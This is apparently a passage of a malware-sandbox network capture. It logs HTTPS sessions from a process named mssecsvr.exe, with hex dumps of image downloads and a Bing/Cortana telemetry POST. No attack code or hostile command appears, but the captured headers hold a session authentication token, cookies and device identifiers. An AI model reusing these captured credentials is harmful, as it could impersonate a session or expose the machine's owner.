2022-07-20 04:06:00 UTC	808	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44 "> <rdf:RDF x
2022-07-20 04:06:00 UTC	824	IN	Data Raw: 9a dd ba 89 09 fa 89 ae 0a 5e e7 da b5 e7 13 b1 dd 61 24 03 6e 23 c8 7d e4 05 48 3e 59 0c aa 0f 53 8a f0 77 89 2e 74 56 42 82 c1 4a f6 a2 88 41 8c 7b 96 43 c7 dd 1a 2a ef dc 8f 21 35 44 55 f4 f8 7c 74 5e a4 ed b7 98 6d dc cf 21 30 eb 2c 09 3f 64 1a 1f 0e 80 78 75 c0 16 0e 5c bb 9e ef 6d 1e d3 66 91 ee 3f 2e 90 b2 aa d7 ba cb ad 07 da a8 66 6a 80 4f a7 a6 46 86 98 e4 2b 0a e1 95 97 3e ce 34 82 88 8a 93 e1 8c e5 02 46 61 51 40 39 83 63 d5 5a 7e d3 95 1a f6 a6 bb b5 fe 5d 35 eb 27 b6 ba 64 36 3a d9 50 8f 43 10 0e a2 33 2a 7c ab d4 1f 0f 3a e3 ee d5 be 6c 50 5c 27 2a f9 58 27 b9 8d c8 b8 81 64 78 fb 4a ff 00 86 b3 a8 24 89 34 12 16 45 15 d5 5f b0 16 b8 19 7f 72 4e 56 c9 b8 8f c0 2f 2a f9 13 01 98 ca 8b 90 f1 06 47 51 8f db 45 8c c6 9e a2 5e 52 e8 b8 92 5c 47 Data Ascii: ^a$n#}H>YSw.tVBJA{C!5DU\|t^m!0,?dxu\mf?.fjOF+>4FaQ@9cZ~]5'd6:PC3\|:lP\'X'dxJ$4E_rNV/GQE^R\G
2022-07-20 04:06:00 UTC	840	IN	Data Raw: 46 62 8e a5 87 83 0a e4 71 73 72 6e 2f 93 f9 1d c4 38 7e 25 89 16 b6 06 2b 92 96 92 eb 2e b9 b8 91 20 60 b1 a8 a7 50 da 41 a9 87 1a 0b 5d 61 2f de df c7 8e 49 2a d7 c7 44 64 77 0f b8 8a f5 d2 49 74 9b 86 ff 00 b3 db 5b ed 22 31 6c f4 76 77 3e 9a 2e 6a 02 8a b3 7a e8 4d 28 3d 34 d5 9e 23 bb 59 d8 78 17 2c bf ba e4 c6 79 2f 60 2d 14 50 c0 06 b0 64 3a 64 2c ec 42 46 3b 25 91 6b ac d2 4d 5a 0e 91 5a 7e 77 8f 9c 39 cb b8 f6 6f e3 6e 6d cb 66 ce 71 89 14 f1 b1 8e 41 c2 38 e3 23 3f 1e 8a 05 44 63 42 95 63 88 dd 4a c2 24 32 da aa 25 ab 22 b4 53 62 fd c9 92 0f 0d 48 02 b5 02 f7 b5 d1 8f f4 f6 d5 b9 cf 3e cd b8 6e 8f 75 31 42 93 24 2c b1 84 06 9a 90 e9 57 a5 72 d4 a5 8b 10 28 40 15 c3 ff 00 35 dc f7 5d cf 8c 47 ba 27 1d 93 6b d9 ee 9b f0 66 97 b9 24 93 29 a8 56 8a Data Ascii: Fbqsrn/8~%+. `PA]a/I*DdwIt["1lvw>.jzM(=4#Yx,y/`-Pd:d,BF;%kMZZ~w9onmfqA8#?DcBcJ$2%"SbH>nu1B$,Wr(@5]G'kf$)V
2022-07-20 04:06:00 UTC	842	IN	Data Raw: 34 db 72 ed af 92 f1 48 27 e1 5b 84 97 5b 65 c2 b6 bb 95 8d a3 46 21 99 4a 40 b2 28 93 b4 48 3a e5 21 4c c4 7a 40 8c 51 ae ee 3e e0 1e 31 e5 ea 8a 0c c3 c3 4b 7b cf 1b 7c c1 c4 e1 4a b1 c7 21 e1 d7 97 75 b5 39 f5 9d 5b 1f 2d d8 e5 bd 6f 76 44 6a c9 57 6c 1a 8a 1c 88 ea 5a e2 38 8c 04 f8 aa 12 29 07 1a da bd d2 96 c2 e5 b8 67 be fb 76 df c9 fd a3 9d d6 33 3c d0 5b ad cd 92 9f 48 92 29 a2 58 e4 73 17 da 91 25 a4 c4 2b 3c 13 17 01 18 79 7d b6 df 40 ca 86 4d 45 cd 3c 4a ea f0 d4 1a a0 03 d2 a3 a5 6b d2 b8 4d bc 95 9a e4 dc 9b c9 79 87 20 e6 95 b5 b5 59 96 4b 75 26 7e 59 0e 9a 94 18 f4 2f d4 a8 c6 44 ba 92 b4 51 91 22 55 4d 9b 63 1c 87 94 10 b5 82 6c a7 91 58 c6 22 a3 53 a9 bc 13 8c 6d 9c 43 8c 58 71 bd 92 79 ee 36 5b 3b 70 96 f2 4d 2f 7a 43 09 25 a2 06 52 2b Data Ascii: 4rH'[[eF!J@(H:!Lz@Q>1K{\|J!u9[-ovDjWlZ8)gv3<[H)Xs%+<y}@ME<JkMy YKu&~Y/DQ"UMclX"SmCXqy6[;pM/zC%R+
2022-07-20 04:06:00 UTC	858	IN	Data Raw: 59 e3 a1 0e 1a 53 3c 1c d6 e0 47 b2 6f 05 ac f6 ab 68 26 79 65 af a9 63 94 47 e9 04 31 21 a8 07 a9 4a c8 75 08 43 02 f9 09 6c c2 30 0f 2c 6d f3 d9 79 6e 01 86 e3 bc 79 81 d3 43 e3 da 39 99 72 64 d6 b6 3c 33 c5 21 b8 b0 b3 3d 2d 21 eb e4 d7 46 b4 e4 6c b2 da d1 f3 ec ac 11 4b 26 de fa c1 50 62 70 10 6d 11 3e c7 d8 be 43 ed ff 00 20 83 60 bb dc 77 18 f6 db 70 d7 7b 9e e1 2e 84 f9 fb a6 20 4d 72 63 61 24 9d 99 65 fc 0b 4b 78 c2 9e ca 47 1a fa 8c 8e 16 26 e8 bb 2d 8c 4f b6 06 4b 76 70 20 b6 8f b6 1a 66 54 00 77 48 14 04 22 eb 9e 46 1a 63 8e 8a 08 01 14 dc d4 18 6c 85 8a 0e 21 f1 6b 8e a4 e3 38 f5 1d 50 6b 6c a7 d6 0e 35 6e 44 0c 7f 6a 3d 5d 9e 67 08 f1 40 e3 4c 6a 7a eb 20 95 70 e4 0a ca d0 8e ef 4e 92 e4 56 39 4b d0 ee f3 5f 16 b4 e3 d1 49 1d aa a9 0c f5 55 Data Ascii: YS<Goh&yecG1!JuCl0,mynyC9rd<3!=-!FlK&Pbpm>C `wp{. Mrca$eKxG&-OKvp fTwH"Fcl!k8Pkl5nDj=]g@Ljz pNV9K_IU
2022-07-20 04:06:00 UTC	870	IN	Data Raw: d8 e3 b3 64 1f 70 35 29 0c da ad ed 87 b7 1c 6b 97 f3 c1 ee 0e f7 1c 4f 0f 1f b0 79 ac 9e 4d 45 25 b8 b9 55 45 59 15 41 32 76 90 34 e2 22 0a 89 02 33 8c 86 0b 16 1b ed ca ed 5f 2d 6b 61 36 e1 25 b5 c0 63 14 6c 11 84 32 10 ae fa 98 85 aa 10 f2 a2 57 d6 d1 e9 a1 c5 2b c2 3c 12 c8 d9 75 cf 1f 5f e6 1f 91 43 c7 1c 65 e4 05 8f 08 c3 94 64 8b c7 39 ec 5e 68 e3 ee 36 cd 6a 5b 16 14 50 e1 d5 76 b9 06 39 7c 85 33 ab 0b 35 d1 c1 11 8c 90 45 d0 09 d7 59 38 ce eb b3 70 28 e6 4e 18 2f ee ed b7 ad 8e cd bb 97 6b f8 51 ee 16 f7 96 77 73 08 5d 54 44 e5 49 8b b9 12 12 f0 90 03 b1 05 71 56 bd ca e7 b7 73 5a 47 bd 49 60 90 de 26 f3 b8 ec a7 70 d0 15 ee 6d 06 db 7f 71 06 a2 cc d7 32 47 6f 71 03 46 a6 60 88 ef 23 b4 23 fc c3 88 a5 6d ad 15 3b 6b 93 17 52 86 a2 57 2e f9 37 77 Data Ascii: dp5)kOyME%UEYA2v4"3_-ka6%cl2W+<u_Ced9^h6j[Pv9\|35EY8p(N/kQws]TDIqVsZGI`&pmq2GoqF`##m;kRW.7w
2022-07-20 04:06:00 UTC	886	IN	Data Raw: 4e eb c3 22 8a d3 6d da 2e 77 9b c9 86 53 45 1c 8d 6f 16 74 a4 ad 12 bb 34 87 a8 8d 42 d4 75 61 89 df 91 be 45 da 60 98 25 04 bc 76 0f 36 1a ea ee d2 43 87 75 c8 b4 a0 c2 23 5d 52 0e 12 35 65 52 61 f3 24 93 21 8d 5e fb 04 45 69 e5 b4 0a e6 b7 f9 17 77 a7 ad a7 67 37 fb 81 86 74 b1 82 d6 38 aa 7b 33 3d cb 6b 2d d1 a6 0a b1 31 03 a8 88 15 a9 eb 96 1e 78 4f 29 f7 1e f2 d2 5d f7 99 6d ef 63 b6 ce 14 5b 23 c4 b0 b3 11 52 cc 23 d6 f2 85 a5 33 94 d4 e4 40 18 4f f9 ef 22 67 d9 fd 99 6e 6f 6c 0d 13 62 bf db b5 e7 71 8c c5 77 fe b0 fd 10 41 92 a8 9a 21 13 73 da 9f ca ad 5f 5e 8a fb 55 8e df 61 18 86 d9 43 31 ea 69 fb be 8f 86 17 ee bb 95 ee ec df 8a c5 61 1e 15 eb f4 e2 b3 ae a3 14 a2 8e 1c 44 77 72 41 37 c8 2e 8a e5 46 aa ea f7 3d 5d ab b7 bd ca aa ba ae ae 5f 8f Data Ascii: N"m.wSEot4BuaE`%v6Cu#]R5eRa$!^Eiwg7t8{3=k-1xO)]mc[#R#3@O"gnolbqwA!s_^UaC1iaDwrA7.F=]_
2022-07-20 04:06:00 UTC	902	IN	Data Raw: c8 f1 bb 21 e4 78 d5 bd 04 e2 4c a8 c7 b2 19 4d 61 ac 52 ae 51 02 15 99 81 65 cb f5 10 4d 45 6c 33 3b 5d 15 8a e5 74 5e c3 91 6d 9b d4 7f 98 ed a2 58 68 d9 ac a9 a1 d0 9e b5 5a 9f 43 7d e1 f7 49 27 a1 38 8a df ec d7 3b 6c ed 6f 75 a6 58 d9 34 b1 53 51 22 0f b2 6b 95 25 8f a0 3d 58 0f 30 31 f2 3c db f4 bd ff 00 ea 11 c4 70 28 b2 27 3a 2e 51 42 8a 8f 4a bb 38 c8 e6 15 e1 6a 2e c7 ba b9 25 91 1b a7 a4 aa b9 2e 6a 2e a8 37 35 6a 4f 1c b1 b5 8c a3 f0 d8 d5 7c 74 b0 e9 9f 8d 01 d3 e4 c8 c3 0a e0 84 6e 16 e2 de 43 ff 00 3b 10 a2 b7 f3 a9 e9 5f a6 80 ff 00 75 d7 e9 04 9a c7 b3 b3 63 12 69 b2 ba 79 48 75 ab 09 5b b9 8f dc cb 5c 72 6a 0c 73 61 1d 35 d8 52 47 18 58 ff 00 5f f3 c7 d5 3f 9b a1 5e f3 b3 aa dc cd b6 4a 29 6b 75 19 50 4f 40 49 aa 9f f7 24 00 fc 05 71 95 Data Ascii: !xLMaRQeMEl3;]t^mXhZC}I'8;louX4SQ"k%=X01<p(':.QBJ8j.%.j.75jO\|tnC;_uciyHu[\rjsa5RGX_?^J)kuPO@I$q
2022-07-20 04:06:00 UTC	910	IN	Data Raw: 76 d6 c8 23 bf 0d ba f5 5d 76 bb 5a 5d 33 f8 2b 4c 3e 90 55 07 f5 d3 12 bb 66 5a 07 f0 21 3f ac 9f ea 38 85 f8 2f 83 40 b1 be e5 3c aa 47 6e 38 32 5e 52 c7 a8 cf 2c 8c 57 fb 7a 0c 2b 11 a7 b9 b4 63 11 8a 8a 57 49 b2 9c 34 46 a6 88 ae 62 2a aa 22 75 9c fb 70 93 e7 2d 6c d0 12 d1 5b b3 81 fd f9 1b 48 3f 50 5e bf 1c 58 ff 00 66 ec 82 d8 dd 6e e4 50 bb 2c 48 7e 85 a9 a7 d2 58 7e cc 37 ce 33 80 3c 9e df 21 cb 1d 0f 20 b0 8f 8c 1a 63 dd 01 e3 00 52 8a e2 48 10 34 53 41 5e 78 f3 22 92 75 90 a4 8d 23 48 2b 1c 36 6f 57 fc 59 d0 e2 f6 e1 90 97 91 a2 55 54 00 1c ff 00 10 d4 fa 6a 08 34 4a 16 65 06 b9 01 d0 e0 fb bb 5b d7 6c b5 e3 36 8b 29 b9 bb 94 77 17 a1 8e 25 a1 2d 4a 11 59 09 0a ac 72 a1 27 c3 17 e6 35 84 cf ce a6 4c a6 c7 32 30 94 53 ac 01 5e 59 73 eb ec cd 3b Data Ascii: v#]vZ]3+L>UfZ!?8/@<Gn82^R,Wz+cWI4Fb*"up-l[H?P^XfnP,H~X~73<! cRH4SA^x"u#H+6oWYUTj4Je[l6)w%-JYr'5L20S^Ys;
2022-07-20 04:06:00 UTC	926	IN	Data Raw: 81 2b 0f 04 8e 86 9a d6 bb 97 ac 67 39 55 55 55 55 57 55 55 55 5f 5e bf 37 81 d0 0a 00 00 c7 57 84 c0 64 29 4c 44 f3 ae 39 c4 79 43 0e c8 b8 f3 3e a1 83 93 61 b9 7d 5c 9a 5c 82 8e c8 0c 3c 59 b0 66 0d 46 e5 44 7a 2a 82 5c 67 2a 16 39 d8 ad 2c 73 31 a4 1b 9a f6 a2 a4 83 8a f2 fe 41 c1 79 1d 9f 31 e2 57 72 d8 f2 4d ba 75 9a de 78 d8 ab 23 a1 a8 e9 f6 91 87 a6 44 6a ac 88 59 1c 15 62 30 d1 bf 6d 7b 57 23 da 2e 36 4d ea 08 ee 36 cb 98 99 24 8d c5 43 29 1f b8 8c 88 61 46 56 01 94 86 00 8f e7 d7 cb 58 78 f8 cf 95 b9 3f 8d c3 35 6c 41 c7 fc 89 9a e1 51 ec 1c a8 e7 ce 8d 8b 64 96 54 91 a5 91 cd fa 5c 59 00 84 d7 3d 53 d3 7a af 5f ae 3e 01 cb 1f 9a f0 3d 93 99 4b 18 86 5d db 67 b3 bc 68 c7 44 6b 9b 78 e6 64 1f 05 67 20 7c 00 c7 12 79 2e ce bb 07 24 dc 36 24 6e e2 Data Ascii: +g9UUUUWUUU_^7Wd)LD9yC>a}\\<YfFDz\g9,s1Ay1WrMux#DjYb0m{W#.6M6$C)aFVXx?5lAQdT\Y=Sz_>=K]ghDkxdg \|y.$6$n
2022-07-20 04:06:00 UTC	934	IN	Data Raw: 4e 1f 5d 87 f8 49 8c d8 8e 4c c6 0a b2 c7 9c b9 5b 15 b2 c6 71 0a 21 39 a2 46 cf c0 f8 d0 8f 7d ce 63 61 28 44 52 8a 4d b3 a1 43 0a b7 55 8a 6d cd e8 7f c9 38 27 15 e3 fb b3 6e be f1 4d 1b c8 1c b4 7b 65 8c c9 71 73 21 fe 4b 9b b5 1d ab 75 07 22 90 09 64 3d 3b a9 4c 2e b4 b8 bd bd 91 6d 38 c3 15 90 fd a9 e5 05 55 3e 29 16 65 d8 f5 05 fd 23 f9 0e 09 0c 07 c2 9e 48 64 d4 ce ae 79 2a b7 37 e4 89 ea ae ca b9 1b 23 c3 a8 0b 90 cf 96 20 1d ac 58 36 36 a4 c8 a6 d6 c5 ae 90 45 74 70 83 b2 26 91 a8 8a ce da 2b 7a 80 ef de ff 00 6c ea bf 92 6d db 57 c8 71 d8 4d 22 b3 5b 89 55 15 49 a1 2e 91 88 55 cb 52 85 9c b3 1f 3a e7 87 e8 b8 56 e2 91 77 c4 dd fd c1 89 ac b3 28 d4 c7 a7 a7 ed 11 42 72 cc 0f 0a 53 00 f7 97 78 0c 7c 4c 80 e3 ec d7 c8 3f 27 79 4f 3d c8 14 67 a9 e2 Data Ascii: N]IL[q!9F}ca(DRMCUm8'nM{eqs!Ku"d=;L.m8U>)e#Hdy*7# X66Etp&+zlmWqM"[UI.UR:Vw(BrSx\|L?'yO=g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49817	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:00 UTC	870	OUT	GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:06:00 UTC	939	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 4575 Content-Type: image/png Last-Modified: Tue, 06 Oct 2020 07:51:50 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQUY1N0U0QUI" MS-CV: zZpfTR4fs0yHFO1I.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:06:00 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:06:00 UTC	940	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 03 00 50 4c 54 45 00 1e 36 23 3d 52 b7 bf c6 2b b0 fe ab b5 bc 37 4f 61 bf c6 cc ff ff ff 2c b1 ff 1f 3a 4f 2b af fd 09 40 64 00 1f 38 00 1f 37 00 21 3a 00 20 39 00 1e 37 00 22 3c 00 21 3b 01 23 3d 01 24 3f 20 8f d2 2b ae fc 0e 54 82 10 58 87 22 97 dc 1a 77 b1 01 28 44 01 24 3e 02 28 45 00 21 3b 29 ab f7 21 92 d6 09 42 68 10 59 88 02 2a 47 00 20 3a 0c 4b 75 04 2f 4e 14 65 98 20 91 d4 fe fe fe 29 ad fa 03 2b 49 01 27 43 21 93 d8 08 3e 62 2a af fc 0b 4a 73 1e 87 c7 26 a3 ed 0d 4d 77 06 36 58 01 23 3e 1d 84 c3 01 25 40 0b 49 71 1e 89 c9 07 38 5b 21 94 d8 1b 80 be 1b 7f bc 08 3f 64 2a ae fb 28 a8 f3 22 96 da 03 2d 4b 07 3a 5d 0f 56 83 02 25 40 24 9c e3 0d Data Ascii: PNGIHDR,,N~GPLTE6#=R+7Oa,:O+@d87!: 97"<!;#=$? +TX"w(D$>(E!;)!BhYG :Ku/Ne )+I'C!>bJs&Mw6X#>%@Iq8[!?d*("-K:]V%@$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49864	204.79.197.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:04 UTC	944	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Content-type: text/xml X-MSEdge-ExternalExpType: JointCoord X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40 X-PositionerType: Desktop X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -480 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-BM-DeviceScale: 100 X-Search-TimeZone: Bias=480; StandardBias=0; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-BM-DeviceDimensionsLogical: 1232x1024 X-BM-DeviceDimensions: 1232x1024 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAARa1E%2BxM1GZ4gn6pDn3APGPBd2d5h0M0t8vWgduHknAF4CuVF8BdGFEsNfwEKsAarX8Z7bQ64h6dhmJf04baM2e/Pda5Ys1YIWudUaLf1Q22V8bLB9ZL9tCDNH5gAX8oIHkiPRSLDvLze6jHTN38Xp7L6LMfWC2cG7Jq%2BuBqn1BLvyw0WWIDCEFVIEpRnBbRocBqEr%2BYZei%2BUP0L4dKx6isIE/BiAJA/MU7M0Y2cmOYjolXfCG/CSm01r9UCtGdwuViQd5AEsTONQ5SxZ8e8JbBit83IdjrCKhCi7kSfk/8o5bzZEi%2BQWR6efIUSnL4eY0Obw1BSbET5Vq1jCBcTD2cDZgAACO/loQylKFkHqAFGQyVfBEpS7RL6iwJW51mrzWZVi3Z5zMfZe8hhsgqodsWOn1HUS65JIXdUTF3HqbN3oDgdsnOzBr097uz9iIgqXWaPh3kx9CyUZ84h6yQ9Iauh10fV2e88qmzGrtZ0LP/aABK3GmiitF9NbAnQDCQGXVLTyHZ8AXwkiJAU0FABFw/Hc2khswrjSGSIAn9ykP8Kb72G2jXPPOjnYYvlY1afbpGjcvtSG/j6lxojtzFE7/Yi39SFLN7j9fElE0/A/XV55Ol3Dj7aO5GnKwDXyIiPHMHP3O%2BEIsCx4q2i8icZHtE0YXelO9Zs63Ak/5vdpE0MBdIW69pboYmhwvSr94SGj0OkpjGJRkz33tcqbi12mtFkRRg3V3Z38HgVpACRJBYhpdHi62DmUG%2Bru/4ALiiP9RILmJ1yN5rEGY0zDa7IzdcCTpym56Yb/OJ2c1CZxrOK6MzGVMWJ3iolVqEB7XY9gu56Qa4AYAOcmDEMo/4XcOycuyKs5%2Bzwi2%2BQPzyQ4%2BsfOvDqAHgm%2BQLlhucHFzwOYegTle6meyPEPtOmwOZEKuDrcHb79X7u1AE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1646756769 X-Device-isOptin: true X-Device-Touch: false X-Device-ClientSession: 7F5B29081F5049808846537278FF1D4A X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Accept: / Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: www.bing.com Content-Length: 81571 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1658322333236&AC=1&CPH=4ef661f2
2022-07-20 04:06:04 UTC	947	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 31 34 44 35 41 36 39 41 42 45 46 46 36 39 36 32 30 31 34 35 41 44 30 35 42 46 43 37 36 38 35 38 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 43 30 34 30 39 45 38 34 43 37 45 43 34 44 31 36 41 32 43 44 44 41 34 38 30 35 45 32 44 33 43 34 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 Data Ascii: <ClientInstRequest><CID>14D5A69ABEFF69620145AD05BFC76858</CID><Events><E><T>Event.ClientInst</T><IG>C0409E84C7EC4D16A2CDDA4805E2D3C4</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,Ambie
2022-07-20 04:06:04 UTC	963	OUT	Data Raw: 7d 5d 5d 3e 3c 2f 44 3e 3c 54 53 3e 31 35 36 31 36 36 35 32 33 30 36 33 32 3c 2f 54 53 3e 3c 2f 45 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 39 35 30 38 61 31 34 61 30 37 65 35 34 33 34 62 38 32 66 39 39 31 34 37 31 63 61 36 61 65 34 31 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 6e 74 57 69 64 65 73 63 72 65 65 6e 2c 72 73 31 6d 75 73 69 63 70 72 6f 64 2c 43 6f 72 74 61 6e 61 53 50 41 Data Ascii: }...</D><TS>1561665230632</TS></E><E><T>Event.ClientInst</T><IG>9508a14a07e5434b82f991471ca6ae41</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPA
2022-07-20 04:06:04 UTC	979	OUT	Data Raw: 22 4b 22 3a 22 64 78 69 6f 2b 34 37 77 2b 38 32 66 2b 74 68 72 65 73 68 6f 6c 64 25 32 46 78 6c 73 2e 61 73 70 78 2b 78 6d 6c 68 74 74 70 72 65 71 75 65 73 74 2b 31 64 66 65 2b 31 68 61 30 2b 31 68 61 69 2b 31 6c 34 77 2b 64 78 30 30 2b 64 78 30 31 22 2c 22 46 22 3a 30 7d 2c 22 56 22 3a 22 64 77 78 66 2f 2f 2f 2f 2f 2f 2f 2f 2f 68 69 64 64 65 6e 2f 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 22 4c 22 3a 22 40 34 2f 30 2f 2f 2f 30 2f 30 2f 31 2f 2f 2f 52 2f 2b 40 34 2f 33 2f 2f 2f 30 2f 30 2f 31 2f 31 67 2f 2f 52 2f 22 2c 22 4e 22 3a 22 40 35 2f 78 2f 2f 40 30 2f 40 37 2f 40 38 2f 33 75 69 2f 40 31 2f 40 35 2f 2d 31 2f 40 35 2f 40 36 2f 40 36 2f 40 36 2b 31 64 66 64 2f 79 2f 2f 40 30 2f 40 37 2f 40 38 2f 33 75 6e 2f 40 31 2f 40 39 2f 2d 31 2f 40 Data Ascii: "K":"dxio+47w+82f+threshold%2Fxls.aspx+xmlhttprequest+1dfe+1ha0+1hai+1l4w+dx00+dx01","F":0},"V":"dwxf/////////hidden/visibilitychange","L":"@4/0///0/0/1///R/+@4/3///0/0/1/1g//R/","N":"@5/x//@0/@7/@8/3ui/@1/@5/-1/@5/@6/@6/@6+1dfd/y//@0/@7/@8/3un/@1/@9/-1/@
2022-07-20 04:06:04 UTC	995	OUT	Data Raw: 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 56 69 65 77 4d 6f 64 65 6c 73 25 32 34 57 53 42 52 6f 6f 74 56 69 65 77 4d 6f 64 65 6c 2f 40 33 2f 31 2f 40 31 2f 32 77 2f 2d 31 2f 32 77 2f 32 78 2f 32 78 2f 32 78 2b 32 78 2f 67 2f 2f 40 30 2f 41 75 74 6f 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 41 67 67 72 65 67 61 74 6f 72 73 25 32 34 46 61 73 74 52 61 6e 6b 4d 6f 64 65 6c 5f 50 52 4f 44 2f 40 33 2f 6a 2f 40 31 2f 32 78 2f 2d 31 2f 32 78 2f 33 67 2f 33 67 2f 33 67 2b 32 78 2f 68 2f 2f 40 30 2f 41 75 74 6f 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 41 67 67 72 65 67 61 74 6f 72 73 25 32 34 46 61 6c 6c 62 61 63 6b 43 6c 61 73 73 69 66 69 65 72 5f 50 52 4f 44 2f 40 33 2f 30 2f 40 31 2f 32 78 2f 2d 31 2f 32 78 2f 32 79 2f 32 79 Data Ascii: Suggest%2520W10%24ViewModels%24WSBRootViewModel/@3/1/@1/2w/-1/2w/2x/2x/2x+2x/g//@0/AutoSuggest%2520W10%24Aggregators%24FastRankModel_PROD/@3/j/@1/2x/-1/2x/3g/3g/3g+2x/h//@0/AutoSuggest%2520W10%24Aggregators%24FallbackClassifier_PROD/@3/0/@1/2x/-1/2x/2y/2y
